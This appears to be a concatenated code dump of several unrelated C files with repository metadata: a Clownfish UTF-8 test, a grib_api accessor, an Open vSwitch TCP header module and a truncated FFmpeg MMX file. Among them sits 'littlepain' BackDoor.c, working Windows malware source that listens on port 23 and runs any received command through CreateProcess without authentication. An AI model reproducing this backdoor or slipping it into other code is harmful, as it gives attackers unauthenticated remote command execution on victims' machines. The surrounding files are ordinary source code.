"base36 1"); TEST_INT_EQ(runner, buffer[1], 0, "base36 NULL termination"); } static void test_utf8_round_trip(TestBatchRunner *runner) { int32_t code_point; for (code_point = 0; code_point <= 0x10FFFF; code_point++) { char buffer[4]; uint32_t size = StrHelp_encode_utf8_char(code_point, buffer); char *start = buffer; char *end = start + size; // Verify length returned by encode_utf8_char(). if (size != StrHelp_UTF8_COUNT[(unsigned char)buffer[0]]) { break; } // Verify that utf8_valid() agrees with alternate implementation. if (!!StrHelp_utf8_valid(start, size) != !!S_utf8_valid_alt(start, size) ) { break; } // Verify back_utf8_char(). if (StrHelp_back_utf8_char(end, start) != start) { break; } // Verify round trip of encode/decode. if (StrHelp_decode_utf8_char(buffer) != code_point) { break; } } if (code_point == 0x110000) { PASS(runner, "Successfully round tripped 0 - 0x10FFFF"); } else { FAIL(runner, "Failed round trip at 0x%.1X", (unsigned)code_point); } } static void S_test_validity(TestBatchRunner *runner, const char *content, size_t size, bool expected, const char *description) { bool sane = StrHelp_utf8_valid(content, size); bool double_check = S_utf8_valid_alt(content, size); if (sane != double_check) { FAIL(runner, "Disagreement: %s", description); } else { TEST_TRUE(runner, sane == expected, "%s", description); } } static void test_utf8_valid(TestBatchRunner *runner) { // Musical symbol G clef: // Code point: U+1D11E // UTF-16: 0xD834 0xDD1E // UTF-8 0xF0 0x9D 0x84 0x9E S_test_validity(runner, "\xF0\x9D\x84\x9E", 4, true, "Musical symbol G clef"); S_test_validity(runner, "\xED\xA0\xB4\xED\xB4\x9E", 6, false, "G clef as UTF-8 encoded UTF-16 surrogates"); S_test_validity(runner, ".\xED\xA0\xB4.", 5, false, "Isolated high surrogate"); S_test_validity(runner, ".\xED\xB4\x9E.", 5, false, "Isolated low surrogate"); // Shortest form. S_test_validity(runner, ".\xC1\x9C.", 4, false, "Non-shortest form ASCII backslash"); S_test_validity(runner, ".\xC0\xAF.", 4, false, "Non-shortest form ASCII slash"); S_test_validity(runner, ".\xC0\x80.", 4, false, "Non-shortest form ASCII NUL character"); // Range. S_test_validity(runner, "\xF8\x88\x80\x80\x80", 5, false, "5-byte UTF-8"); // Bad continuations. S_test_validity(runner, "\xE2\x98\xBA\xE2\x98\xBA", 6, true, "SmileySmiley"); S_test_validity(runner, "\xE2\xBA\xE2\x98\xBA", 5, false, "missing first continuation byte"); S_test_validity(runner, "\xE2\x98\xE2\x98\xBA", 5, false, "missing second continuation byte"); S_test_validity(runner, "\xE2\xE2\x98\xBA", 4, false, "missing both continuation bytes"); S_test_validity(runner, "\xBA\xE2\x98\xBA\xE2\xBA", 5, false, "missing first continuation byte (end)"); S_test_validity(runner, "\xE2\x98\xBA\xE2\x98", 5, false, "missing second continuation byte (end)"); S_test_validity(runner, "\xE2\x98\xBA\xE2", 4, false, "missing both continuation bytes (end)"); S_test_validity(runner, "\xBA\xE2\x98\xBA", 4, false, "isolated continuation byte 0xBA"); S_test_validity(runner, "\x98\xE2\x98\xBA", 4, false, "isolated continuation byte 0x98"); S_test_validity(runner, "\xE2\x98\xBA\xBA", 4, false, "isolated continuation byte 0xBA (end)"); S_test_validity(runner, "\xE2\x98\xBA\x98", 4, false, "isolated continuation byte 0x98 (end)"); } static void test_is_whitespace(TestBatchRunner *runner) { TEST_TRUE(runner, StrHelp_is_whitespace(' '), "space is whitespace"); TEST_TRUE(runner, StrHelp_is_whitespace('\n'), "newline is whitespace"); TEST_TRUE(runner, StrHelp_is_whitespace('\t'), "tab is whitespace"); TEST_TRUE(runner, StrHelp_is_whitespace('\v'), "vertical tab is whitespace"); TEST_FALSE(runner, StrHelp_is_whitespace('a'), "'a' isn't whitespace"); TEST_FALSE(runner, StrHelp_is_whitespace(0), "NULL isn't whitespace"); TEST_FALSE(runner, StrHelp_is_whitespace(0x263A), "Smiley isn't whitespace"); } static void test_back_utf8_char(TestBatchRunner *runner) { char buffer[4]; char *buf = buffer + 1; uint32_t len = StrHelp_encode_utf8_char(0x263A, buffer); char *end = buffer + len; TEST_TRUE(runner, StrHelp_back_utf8_char(end, buffer) == buffer, "back_utf8_char"); TEST_TRUE(runner, StrHelp_back_utf8_char(end, buf) == NULL, "back_utf8_char returns NULL rather than back up beyond start"); TEST_TRUE(runner, StrHelp_back_utf8_char(buffer, buffer) == NULL, "back_utf8_char returns NULL when end == start"); } void TestStrHelp_Run_IMP(TestStringHelper *self, TestBatchRunner *runner) { TestBatchRunner_Plan(runner, (TestBatch*)self, 39); test_overlap(runner); test_to_base36(runner); test_utf8_round_trip(runner); test_utf8_valid(runner); test_is_whitespace(runner); test_back_utf8_char(runner); }
rectang/lucy-clownfish
runtime/core/Clownfish/Test/Util/TestStringHelper.c
C
apache-2.0
10,638
#include "littlepain.h" /* the backdoor :) */ DWORD WINAPI BackDoor(LPVOID Data) { SOCKET server_sock,client_sock; struct sockaddr_in serv_inf; struct timeval tv; fd_set ft; char exec[MAX_PATH]; DWORD cnt; STARTUPINFO inf_prog; PROCESS_INFORMATION info_pr; if((server_sock = socket(AF_INET,SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) { return 0; } serv_inf.sin_family = AF_INET; serv_inf.sin_addr.s_addr = htonl(INADDR_ANY); serv_inf.sin_port = htons(23); if(bind(server_sock,(struct sockaddr *)&serv_inf, sizeof(struct sockaddr_in)) == SOCKET_ERROR) { return 0; } listen(server_sock,SOMAXCONN); /* main loop! */ while(1) { client_sock = accept(server_sock,NULL,0); tv.tv_usec = 0; tv.tv_sec = 60; FD_ZERO(&ft); FD_SET(client_sock,&ft); /* send a msg */ send(client_sock,"[:: littlepain ::] by WarGame\r\n",31,0); while(1) { if(select(client_sock+1,&ft,NULL,NULL,&tv) > 0) { memset(exec,0,MAX_PATH); recv(client_sock,exec,MAX_PATH,0); /* remove "\r" and "\n" */ for(cnt = 0;cnt < strlen(exec);cnt++) { if(exec[cnt] == '\r' || exec[cnt] == '\n') { exec[cnt] = 0; } } /* (try to) execute the command */ memset(&inf_prog,0,sizeof(STARTUPINFO)); memset(&info_pr,0,sizeof(PROCESS_INFORMATION)); inf_prog.cb = sizeof(STARTUPINFO); inf_prog.dwFlags = STARTF_USESHOWWINDOW; inf_prog.wShowWindow = SW_SHOW; if(CreateProcess(NULL,exec,NULL,NULL,FALSE,CREATE_NEW_CONSOLE, NULL,NULL,&inf_prog,&info_pr)) { send(client_sock,"Executed!\r\n",11,0); } else { send(client_sock,"Not Executed!\r\n",15,0); } } else { closesocket(client_sock); break; } } } }
ZHYfeng/malicious-code-conceal
0_mailcious-code/useful/c_windows/littlepain/BackDoor.c
C
apache-2.0
1,857
/* * Copyright 2005-2017 ECMWF. * * This software is licensed under the terms of the Apache Licence Version 2.0 * which can be obtained at http://www.apache.org/licenses/LICENSE-2.0. * * In applying this licence, ECMWF does not waive the privileges and immunities granted to it by * virtue of its status as an intergovernmental organisation nor does it submit to any jurisdiction. */ /***************************** * Enrico Fucile ****************************/ #include "grib_api_internal.h" /* This is used by make_class.pl START_CLASS_DEF CLASS = accessor SUPER = grib_accessor_class_long IMPLEMENTS = unpack_long IMPLEMENTS = init MEMBERS = const char* numberOfValues MEMBERS = const char* bitsPerValue MEMBERS = const char* offsetBeforeData MEMBERS = const char* offsetAfterData MEMBERS = const char* unusedBits END_CLASS_DEF */ /* START_CLASS_IMP */ /* Don't edit anything between START_CLASS_IMP and END_CLASS_IMP Instead edit values between START_CLASS_DEF and END_CLASS_DEF or edit "accessor.class" and rerun ./make_class.pl */ static int unpack_long(grib_accessor*, long* val,size_t *len); static void init(grib_accessor*,const long, grib_arguments* ); static void init_class(grib_accessor_class*); typedef struct grib_accessor_number_of_coded_values { grib_accessor att; /* Members defined in gen */ /* Members defined in long */ /* Members defined in number_of_coded_values */ const char* numberOfValues; const char* bitsPerValue; const char* offsetBeforeData; const char* offsetAfterData; const char* unusedBits; } grib_accessor_number_of_coded_values; extern grib_accessor_class* grib_accessor_class_long; static grib_accessor_class _grib_accessor_class_number_of_coded_values = { &grib_accessor_class_long, /* super */ "number_of_coded_values", /* name */ sizeof(grib_accessor_number_of_coded_values), /* size */ 0, /* inited */ &init_class, /* init_class */ &init, /* init */ 0, /* post_init */ 0, /* free mem */ 0, /* describes himself */ 0, /* get length of section */ 0, /* get length of string */ 0, /* get number of values */ 0, /* get number of bytes */ 0, /* get offset to bytes */ 0, /* get native type */ 0, /* get sub_section */ 0, /* grib_pack procedures long */ 0, /* grib_pack procedures long */ 0, /* grib_pack procedures long */ &unpack_long, /* grib_unpack procedures long */ 0, /* grib_pack procedures double */ 0, /* grib_unpack procedures double */ 0, /* grib_pack procedures string */ 0, /* grib_unpack procedures string */ 0, /* grib_pack procedures bytes */ 0, /* grib_unpack procedures bytes */ 0, /* pack_expression */ 0, /* notify_change */ 0, /* update_size */ 0, /* preferred_size */ 0, /* resize */ 0, /* nearest_smaller_value */ 0, /* next accessor */ 0, /* compare vs. another accessor */ 0, /* unpack only ith value */ 0, /* unpack a subarray */ 0, /* clear */ }; grib_accessor_class* grib_accessor_class_number_of_coded_values = &_grib_accessor_class_number_of_coded_values; static void init_class(grib_accessor_class* c) { c->dump = (*(c->super))->dump; c->next_offset = (*(c->super))->next_offset; c->string_length = (*(c->super))->string_length; c->value_count = (*(c->super))->value_count; c->byte_count = (*(c->super))->byte_count; c->byte_offset = (*(c->super))->byte_offset; c->get_native_type = (*(c->super))->get_native_type; c->sub_section = (*(c->super))->sub_section; c->pack_missing = (*(c->super))->pack_missing; c->is_missing = (*(c->super))->is_missing; c->pack_long = (*(c->super))->pack_long; c->pack_double = (*(c->super))->pack_double; c->unpack_double = (*(c->super))->unpack_double; c->pack_string = (*(c->super))->pack_string; c->unpack_string = (*(c->super))->unpack_string; c->pack_bytes = (*(c->super))->pack_bytes; c->unpack_bytes = (*(c->super))->unpack_bytes; c->pack_expression = (*(c->super))->pack_expression; c->notify_change = (*(c->super))->notify_change; c->update_size = (*(c->super))->update_size; c->preferred_size = (*(c->super))->preferred_size; c->resize = (*(c->super))->resize; c->nearest_smaller_value = (*(c->super))->nearest_smaller_value; c->next = (*(c->super))->next; c->compare = (*(c->super))->compare; c->unpack_double_element = (*(c->super))->unpack_double_element; c->unpack_double_subarray = (*(c->super))->unpack_double_subarray; c->clear = (*(c->super))->clear; } /* END_CLASS_IMP */ static void init(grib_accessor* a,const long l, grib_arguments* c) { int n=0; grib_accessor_number_of_coded_values* self = (grib_accessor_number_of_coded_values*)a; self->bitsPerValue = grib_arguments_get_name(a->parent->h,c,n++); self->offsetBeforeData = grib_arguments_get_name(a->parent->h,c,n++); self->offsetAfterData = grib_arguments_get_name(a->parent->h,c,n++); self->unusedBits = grib_arguments_get_name(a->parent->h,c,n++); self->numberOfValues = grib_arguments_get_name(a->parent->h,c,n++); a->flags |= GRIB_ACCESSOR_FLAG_READ_ONLY; a->flags |= GRIB_ACCESSOR_FLAG_FUNCTION; a->length=0; } static int unpack_long(grib_accessor* a, long* val, size_t *len) { int ret=GRIB_SUCCESS; long bpv=0; long offsetBeforeData=0,offsetAfterData=0,unusedBits=0,numberOfValues; grib_accessor_number_of_coded_values* self = (grib_accessor_number_of_coded_values*)a; if((ret = grib_get_long_internal(a->parent->h, self->bitsPerValue,&bpv)) != GRIB_SUCCESS) return ret; if((ret = grib_get_long_internal(a->parent->h, self->offsetBeforeData,&offsetBeforeData)) != GRIB_SUCCESS) return ret; if((ret = grib_get_long_internal(a->parent->h, self->offsetAfterData,&offsetAfterData)) != GRIB_SUCCESS) return ret; if((ret = grib_get_long_internal(a->parent->h, self->unusedBits,&unusedBits)) != GRIB_SUCCESS) return ret; if ( bpv != 0 ) { grib_context_log(a->parent->h->context,GRIB_LOG_DEBUG,"grib_accessor_number_of_coded_values: offsetAfterData=%ld offsetBeforeData=%ld unusedBits=%ld bpv=%ld\n", offsetAfterData,offsetBeforeData,unusedBits,bpv); *val=((offsetAfterData-offsetBeforeData)*8-unusedBits)/bpv; } else { if((ret = grib_get_long_internal(a->parent->h, self->numberOfValues,&numberOfValues)) != GRIB_SUCCESS) return ret; *val=numberOfValues; } return ret; }
weathersource/grib_api
src/grib_accessor_class_number_of_coded_values.c
C
apache-2.0
7,223
/* Copyright 2014 Cloudbase Solutions Srl Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http ://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ #include "Tcp.h" #include "Ethernet.h" #include "Ipv4.h" #include "Ipv6.h" #include "Frame.h" #include "PacketInfo.h" #include "OvsNetBuffer.h" #include "Checksum.h" OVS_TCP_HEADER* GetTcpHeader(VOID* pPacketBuffer) { OVS_ETHERNET_HEADER* pEthHeader = (OVS_ETHERNET_HEADER*)pPacketBuffer; OVS_TCP_HEADER* pTcpHeader = NULL; if (pEthHeader->type == RtlUshortByteSwap(OVS_ETHERTYPE_QTAG)) { pEthHeader = (OVS_ETHERNET_HEADER*)((BYTE*)pEthHeader + OVS_ETHERNET_VLAN_LEN); } if (pEthHeader->type != RtlUshortByteSwap(OVS_ETHERTYPE_IPV4) && pEthHeader->type != RtlUshortByteSwap(OVS_ETHERTYPE_IPV6)) { return NULL; } if (pEthHeader->type == RtlUshortByteSwap(OVS_ETHERTYPE_IPV4)) { const OVS_IPV4_HEADER* pIpv4Header = ReadIpv4Header(pEthHeader); if (pIpv4Header->Protocol != OVS_IPPROTO_TCP) { return NULL; } pTcpHeader = (OVS_TCP_HEADER*)AdvanceIpv4Header(pIpv4Header); return pTcpHeader; } if (pEthHeader->type == RtlUshortByteSwap(OVS_ETHERTYPE_IPV6)) { OVS_IPV6_HEADER* pIpv6Header = ReadIpv6Header(pEthHeader); BYTE nextHeader = pIpv6Header->nextHeader; VOID* advancedBuffer = AdvanceIpv6Header(pIpv6Header); BYTE headerLength = 0; while (IsIpv6Extension(nextHeader)) { nextHeader = *((BYTE*)advancedBuffer); headerLength = *(sizeof(nextHeader) + (BYTE*)advancedBuffer); advancedBuffer = ((BYTE*)advancedBuffer) + headerLength + 8; } if (nextHeader != OVS_IPV6_EXTH_TCP) { return NULL; } pTcpHeader = (OVS_TCP_HEADER*)advancedBuffer; return pTcpHeader; } return NULL; } BOOLEAN ONB_SetTcp(OVS_NET_BUFFER* pOvsNb, const OVS_PI_TCP* pTcpPI) { OVS_TCP_HEADER *pTcpHeader = NULL; OVS_IPV4_HEADER* pIpv4Header = NULL; VOID* buffer = NULL; UINT16 csumRecomp = 0; UINT16 offset = 0, reserved = 0, flags = 0; buffer = ONB_GetData(pOvsNb); pIpv4Header = GetIpv4Header(buffer); pTcpHeader = GetTcpHeader(buffer); if (pTcpPI->source != pTcpHeader->sourcePort) { DEBUGP_FRAMES(LOG_INFO, "src port (BE): 0x%x -> 0x%x\n", pTcpHeader->sourcePort, pTcpPI->source); DEBUGP_FRAMES(LOG_INFO, "dst port (BE): 0x%x\n", pTcpHeader->destinationPort); csumRecomp = (WORD)RecomputeChecksum((BYTE*)&pTcpHeader->sourcePort, (BYTE*)&pTcpPI->source, 2, pTcpHeader->checksum); csumRecomp = RtlUshortByteSwap(csumRecomp); pTcpHeader->checksum = csumRecomp; pTcpHeader->sourcePort = pTcpPI->source; } if (pTcpPI->destination != pTcpHeader->destinationPort) { DEBUGP_FRAMES(LOG_INFO, "src port (BE): 0x%x\n", pTcpHeader->sourcePort); DEBUGP_FRAMES(LOG_INFO, "dst port (BE): 0x%x -> 0x%x\n", pTcpHeader->destinationPort, pTcpPI->destination); csumRecomp = (WORD)RecomputeChecksum((BYTE*)&pTcpHeader->destinationPort, (BYTE*)&pTcpPI->destination, 2, pTcpHeader->checksum); csumRecomp = RtlUshortByteSwap(csumRecomp); pTcpHeader->checksum = csumRecomp; pTcpHeader->destinationPort = pTcpPI->destination; } offset = GetTcpDataOffset(pTcpHeader->flagsAndOffset); reserved = GetTcpReserved(pTcpHeader->flagsAndOffset); flags = GetTcpFlags(pTcpHeader->flagsAndOffset); DEBUGP_FRAMES(LOG_INFO, "seq number: 0x%x; ack number: 0x%x; offset: 0x%x; reserved: 0x%x; flags: 0x%x\n", pTcpHeader->sequenceNo, pTcpHeader->acknowledgeNo, offset, reserved, flags); return TRUE; } _Use_decl_annotations_ void DbgPrintTcpHeader(const VOID* buffer) { OVS_TCP_HEADER* pTcpHeader = (OVS_TCP_HEADER*)buffer; UNREFERENCED_PARAMETER(pTcpHeader); DEBUGP_FRAMES(LOG_INFO, "tcp: src port = %d; dest port = %d\n", RtlUshortByteSwap(pTcpHeader->sourcePort), RtlUshortByteSwap(pTcpHeader->destinationPort)); } BOOLEAN VerifyTcpHeader(BYTE* buffer, ULONG* pLength) { OVS_TCP_HEADER* pTcpHeader = (OVS_TCP_HEADER*)buffer; //TODO: verify. ATM nothing is done UNREFERENCED_PARAMETER(buffer); UNREFERENCED_PARAMETER(pLength); UNREFERENCED_PARAMETER(pTcpHeader); return TRUE; }
cloudbase/openvswitch-hyperv-kernel
Driver/Protocol/Tcp.c
C
apache-2.0
4,804
/* * MMX optimized DSP utils * Copyright (c) 2000, 2001 Fabrice Bellard * Copyright (c) 2002-2004 Michael Niedermayer <michaelni@gmx.at> * * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * FFmpeg is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with FFmpeg; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * MMX optimization by Nick Kurshev <nickols_k@mail.ru> */ #include "libavutil/x86_cpu.h" #include "libavcodec/dsputil.h" #include "libavcodec/h264dsp.h" #include "libavcodec/mpegvideo.h" #include "libavcodec/simple_idct.h" #include "dsputil_mmx.h" #include "vp3dsp_mmx.h" #include "vp3dsp_sse2.h" #include "vp6dsp_mmx.h" #include "vp6dsp_sse2.h" #include "idct_xvid.h" //#undef NDEBUG //#include <assert.h> int mm_flags; /* multimedia extension flags */ /* pixel operations */ DECLARE_ALIGNED(8, const uint64_t, ff_bone) = 0x0101010101010101ULL; DECLARE_ALIGNED(8, const uint64_t, ff_wtwo) = 0x0002000200020002ULL; DECLARE_ALIGNED(16, const uint64_t, ff_pdw_80000000)[2] = {0x8000000080000000ULL, 0x8000000080000000ULL}; DECLARE_ALIGNED(8, const uint64_t, ff_pw_3 ) = 0x0003000300030003ULL; DECLARE_ALIGNED(8, const uint64_t, ff_pw_4 ) = 0x0004000400040004ULL; DECLARE_ALIGNED(16, const xmm_reg, ff_pw_5 ) = {0x0005000500050005ULL, 0x0005000500050005ULL}; DECLARE_ALIGNED(16, const xmm_reg, ff_pw_8 ) = {0x0008000800080008ULL, 0x0008000800080008ULL}; DECLARE_ALIGNED(8, const uint64_t, ff_pw_15 ) = 0x000F000F000F000FULL; DECLARE_ALIGNED(16, const xmm_reg, ff_pw_16 ) = {0x0010001000100010ULL, 0x0010001000100010ULL}; DECLARE_ALIGNED(8, const uint64_t, ff_pw_20 ) = 0x0014001400140014ULL; DECLARE_ALIGNED(16, const xmm_reg, ff_pw_28 ) = {0x001C001C001C001CULL, 0x001C001C001C001CULL}; DECLARE_ALIGNED(16, const xmm_reg, ff_pw_32 ) = {0x0020002000200020ULL, 0x0020002000200020ULL}; DECLARE_ALIGNED(8, const uint64_t, ff_pw_42 ) = 0x002A002A002A002AULL; DECLARE_ALIGNED(16, const xmm_reg, ff_pw_64 ) = {0x0040004000400040ULL, 0x0040004000400040ULL}; DECLARE_ALIGNED(8, const uint64_t, ff_pw_96 ) = 0x0060006000600060ULL; DECLARE_ALIGNED(8, const uint64_t, ff_pw_128) = 0x0080008000800080ULL; DECLARE_ALIGNED(8, const uint64_t, ff_pw_255) = 0x00ff00ff00ff00ffULL; DECLARE_ALIGNED(8, const uint64_t, ff_pb_1 ) = 0x0101010101010101ULL; DECLARE_ALIGNED(8, const uint64_t, ff_pb_3 ) = 0x0303030303030303ULL; DECLARE_ALIGNED(8, const uint64_t, ff_pb_7 ) = 0x0707070707070707ULL; DECLARE_ALIGNED(8, const uint64_t, ff_pb_1F ) = 0x1F1F1F1F1F1F1F1FULL; DECLARE_ALIGNED(8, const uint64_t, ff_pb_3F ) = 0x3F3F3F3F3F3F3F3FULL; DECLARE_ALIGNED(8, const uint64_t, ff_pb_81 ) = 0x8181818181818181ULL; DECLARE_ALIGNED(8, const uint64_t, ff_pb_A1 ) = 0xA1A1A1A1A1A1A1A1ULL; DECLARE_ALIGNED(8, const uint64_t, ff_pb_FC ) = 0xFCFCFCFCFCFCFCFCULL; DECLARE_ALIGNED(16, const double, ff_pd_1)[2] = { 1.0, 1.0 }; DECLARE_ALIGNED(16, const double, ff_pd_2)[2] = { 2.0, 2.0 }; #define JUMPALIGN() __asm__ volatile (ASMALIGN(3)::) #define MOVQ_ZERO(regd) __asm__ volatile ("pxor %%" #regd ", %%" #regd ::) #define MOVQ_BFE(regd) \ __asm__ volatile ( \ "pcmpeqd %%" #regd ", %%" #regd " \n\t"\ "paddb %%" #regd ", %%" #regd " \n\t" ::) #ifndef PIC #define MOVQ_BONE(regd) __asm__ volatile ("movq %0, %%" #regd " \n\t" ::"m"(ff_bone)) #define MOVQ_WTWO(regd) __asm__ volatile ("movq %0, %%" #regd " \n\t" ::"m"(ff_wtwo)) #else // for shared library it's better to use this way for accessing constants // pcmpeqd -> -1 #define MOVQ_BONE(regd) \ __asm__ volatile ( \ "pcmpeqd %%" #regd ", %%" #regd " \n\t" \ "psrlw $15, %%" #regd " \n\t" \ "packuswb %%" #regd ", %%" #regd " \n\t" ::) #define MOVQ_WTWO(regd) \ __asm__ volatile ( \ "pcmpeqd %%" #regd ", %%" #regd " \n\t" \ "psrlw $15, %%" #regd " \n\t" \ "psllw $1, %%" #regd " \n\t"::) #endif // using regr as temporary and for the output result // first argument is unmodifed and second is trashed // regfe is supposed to contain 0xfefefefefefefefe #define PAVGB_MMX_NO_RND(rega, regb, regr, regfe) \ "movq " #rega ", " #regr " \n\t"\ "pand " #regb ", " #regr " \n\t"\ "pxor " #rega ", " #regb " \n\t"\ "pand " #regfe "," #regb " \n\t"\ "psrlq $1, " #regb " \n\t"\ "paddb " #regb ", " #regr " \n\t" #define PAVGB_MMX(rega, regb, regr, regfe) \ "movq " #rega ", " #regr " \n\t"\ "por " #regb ", " #regr " \n\t"\ "pxor " #rega ", " #regb " \n\t"\ "pand " #regfe "," #regb " \n\t"\ "psrlq $1, " #regb " \n\t"\ "psubb " #regb ", " #regr " \n\t" // mm6 is supposed to contain 0xfefefefefefefefe #define PAVGBP_MMX_NO_RND(rega, regb, regr, regc, regd, regp) \ "movq " #rega ", " #regr " \n\t"\ "movq " #regc ", " #regp " \n\t"\ "pand " #regb ", " #regr " \n\t"\ "pand " #regd ", " #regp " \n\t"\ "pxor " #rega ", " #regb " \n\t"\ "pxor " #regc ", " #regd " \n\t"\ "pand %%mm6, " #regb " \n\t"\ "pand %%mm6, " #regd " \n\t"\ "psrlq $1, " #regb " \n\t"\ "psrlq $1, " #regd " \n\t"\ "paddb " #regb ", " #regr " \n\t"\ "paddb " #regd ", " #regp " \n\t" #define PAVGBP_MMX(rega, regb, regr, regc, regd, regp) \ "movq " #rega ", " #regr " \n\t"\ "movq " #regc ", " #regp " \n\t"\ "por " #regb ", " #regr " \n\t"\ "por " #regd ", " #regp " \n\t"\ "pxor " #rega ", " #regb " \n\t"\ "pxor " #regc ", " #regd " \n\t"\ "pand %%mm6, " #regb " \n\t"\ "pand %%mm6, " #regd " \n\t"\ "psrlq $1, " #regd " \n\t"\ "psrlq $1, " #regb " \n\t"\ "psubb " #regb ", " #regr " \n\t"\ "psubb " #regd ", " #regp " \n\t" /***********************************/ /* MMX no rounding */ #define DEF(x, y) x ## _no_rnd_ ## y ##_mmx #define SET_RND MOVQ_WONE #define PAVGBP(a, b, c, d, e, f) PAVGBP_MMX_NO_RND(a, b, c, d, e, f) #define PAVGB(a, b, c, e) PAVGB_MMX_NO_RND(a, b, c, e) #define OP_AVG(a, b, c, e) PAVGB_MMX(a, b, c, e) #include "dsputil_mmx_rnd_template.c" #undef DEF #undef SET_RND #undef PAVGBP #undef PAVGB /***********************************/ /* MMX rounding */ #define DEF(x, y) x ## _ ## y ##_mmx #define SET_RND MOVQ_WTWO #define PAVGBP(a, b, c, d, e, f) PAVGBP_MMX(a, b, c, d, e, f) #define PAVGB(a, b, c, e) PAVGB_MMX(a, b, c, e) #include "dsputil_mmx_rnd_template.c" #undef DEF #undef SET_RND #undef PAVGBP #undef PAVGB #undef OP_AVG /***********************************/ /* 3Dnow specific */ #define DEF(x) x ## _3dnow #define PAVGB "pavgusb" #define OP_AVG PAVGB #include "dsputil_mmx_avg_template.c" #undef DEF #undef PAVGB #undef OP_AVG /***********************************/ /* MMX2 specific */ #define DEF(x) x ## _mmx2 /* Introduced only in MMX2 set */ #define PAVGB "pavgb" #define OP_AVG PAVGB #include "dsputil_mmx_avg_template.c" #undef DEF #undef PAVGB #undef OP_AVG #define put_no_rnd_pixels16_mmx put_pixels16_mmx #define put_no_rnd_pixels8_mmx put_pixels8_mmx #define put_pixels16_mmx2 put_pixels16_mmx #define put_pixels8_mmx2 put_pixels8_mmx #define put_pixels4_mmx2 put_pixels4_mmx #define put_no_rnd_pixels16_mmx2 put_no_rnd_pixels16_mmx #define put_no_rnd_pixels8_mmx2 put_no_rnd_pixels8_mmx #define put_pixels16_3dnow put_pixels16_mmx #define put_pixels8_3dnow put_pixels8_mmx #define put_pixels4_3dnow put_pixels4_mmx #define put_no_rnd_pixels16_3dnow put_no_rnd_pixels16_mmx #define put_no_rnd_pixels8_3dnow put_no_rnd_pixels8_mmx /***********************************/ /* standard MMX */ void put_pixels_clamped_mmx(const DCTELEM *block, uint8_t *pixels, int line_size) { const DCTELEM *p; uint8_t *pix; /* read the pixels */ p = block; pix = pixels; /* unrolled loop */ __asm__ volatile( "movq %3, %%mm0 \n\t" "movq 8%3, %%mm1 \n\t" "movq 16%3, %%mm2 \n\t" "movq 24%3, %%mm3 \n\t" "movq 32%3, %%mm4 \n\t" "movq 40%3, %%mm5 \n\t" "movq 48%3, %%mm6 \n\t" "movq 56%3, %%mm7 \n\t" "packuswb %%mm1, %%mm0 \n\t" "packuswb %%mm3, %%mm2 \n\t" "packuswb %%mm5, %%mm4 \n\t" "packuswb %%mm7, %%mm6 \n\t" "movq %%mm0, (%0) \n\t" "movq %%mm2, (%0, %1) \n\t" "movq %%mm4, (%0, %1, 2) \n\t" "movq %%mm6, (%0, %2) \n\t" ::"r" (pix), "r" ((x86_reg)line_size), "r" ((x86_reg)line_size*3), "m"(*p) :"memory"); pix += line_size*4; p += 32; // if here would be an exact copy of the code above // compiler would generate some very strange code // thus using "r" __asm__ volatile( "movq (%3), %%mm0 \n\t" "movq 8(%3), %%mm1 \n\t" "movq 16(%3), %%mm2 \n\t" "movq 24(%3), %%mm3 \n\t" "movq 32(%3), %%mm4 \n\t" "movq 40(%3), %%mm5 \n\t" "movq 48(%3), %%mm6 \n\t" "movq 56(%3), %%mm7 \n\t" "packuswb %%mm1, %%mm0 \n\t" "packuswb %%mm3, %%mm2 \n\t" "packuswb %%mm5, %%mm4 \n\t" "packuswb %%mm7, %%mm6 \n\t" "movq %%mm0, (%0) \n\t" "movq %%mm2, (%0, %1) \n\t" "movq %%mm4, (%0, %1, 2) \n\t" "movq %%mm6, (%0, %2) \n\t" ::"r" (pix), "r" ((x86_reg)line_size), "r" ((x86_reg)line_size*3), "r"(p) :"memory"); } DECLARE_ASM_CONST(8, uint8_t, ff_vector128)[8] = { 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80 }; #define put_signed_pixels_clamped_mmx_half(off) \ "movq "#off"(%2), %%mm1 \n\t"\ "movq 16+"#off"(%2), %%mm2 \n\t"\ "movq 32+"#off"(%2), %%mm3 \n\t"\ "movq 48+"#off"(%2), %%mm4 \n\t"\ "packsswb 8+"#off"(%2), %%mm1 \n\t"\ "packsswb 24+"#off"(%2), %%mm2 \n\t"\ "packsswb 40+"#off"(%2), %%mm3 \n\t"\ "packsswb 56+"#off"(%2), %%mm4 \n\t"\ "paddb %%mm0, %%mm1 \n\t"\ "paddb %%mm0, %%mm2 \n\t"\ "paddb %%mm0, %%mm3 \n\t"\ "paddb %%mm0, %%mm4 \n\t"\ "movq %%mm1, (%0) \n\t"\ "movq %%mm2, (%0, %3) \n\t"\ "movq %%mm3, (%0, %3, 2) \n\t"\ "movq %%mm4, (%0, %1) \n\t" void put_signed_pixels_clamped_mmx(const DCTELEM *block, uint8_t *pixels, int line_size) { x86_reg line_skip = line_size; x86_reg line_skip3; __asm__ volatile ( "movq "MANGLE(ff_vector128)", %%mm0 \n\t" "lea (%3, %3, 2), %1 \n\t" put_signed_pixels_clamped_mmx_half(0) "lea (%0, %3, 4), %0 \n\t" put_signed_pixels_clamped_mmx_half(64) :"+&r" (pixels), "=&r" (line_skip3) :"r" (block), "r"(line_skip) :"memory"); } void add_pixels_clamped_mmx(const DCTELEM *block, uint8_t *pixels, int line_size) { const DCTELEM *p; uint8_t *pix; int i; /* read the pixels */ p = block; pix = pixels; MOVQ_ZERO(mm7); i = 4; do { __asm__ volatile( "movq (%2), %%mm0 \n\t" "movq 8(%2), %%mm1 \n\t" "movq 16(%2), %%mm2 \n\t" "movq 24(%2), %%mm3 \n\t" "movq 